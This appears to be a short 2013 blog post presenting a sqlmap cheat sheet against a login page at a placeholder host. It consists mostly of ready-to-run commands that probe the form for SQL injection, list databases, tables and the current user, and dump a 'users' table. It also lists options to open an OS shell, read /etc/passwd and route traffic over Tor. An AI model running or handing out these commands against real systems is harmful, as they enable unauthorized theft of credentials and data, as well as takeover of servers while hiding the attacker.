Saturday, June 1, 2013

SQL Map Cheat Sheet

Check for injection + get DB / server info

POST: sqlmap.exe -u “http://site.com/authenticate.php” –method “POST” –data “username=admin&password=admin&submit=Submit”


GET: sqlmap.py -u “http://site.com/authenticate.php?username=admin&password=admin&submit=Submit” –method “GET”

get DB names

sqlmap.exe -u “http://site.com/authenticate.php” –method “POST” –data “username=admin&password=admin&submit=Submit” –dbs


get sql username

sqlmap.exe -u “http://site.com/authenticate.php” –method “POST” –data “username=admin&password=admin&submit=Submit” –current-user

get tables in specified DB

sqlmap.exe -u “http://site.com/authenticate.php” –method “POST” –data “username=admin&password=admin&submit=Submit” –tables -D social_mccodes

dump a table from specified db

sqlmap.exe -u “http://site.com/authenticate.php” –method “POST” –data “username=admin&password=admin&submit=Submit” -D social_mccodes -T users –dump


Other Info

  • threads 10 (default threads is 1, this greatly speeds it up)
  • os-shell (get a shell)
  • read-file=/etc/passwd (read a file’s contents)
  • forms (Parse and test forms on target url)
  • wizard (Simple wizard interface for beginner users)
  • v 3 (Show payloads)
  • tor (use default tor port)

No comments:

Post a Comment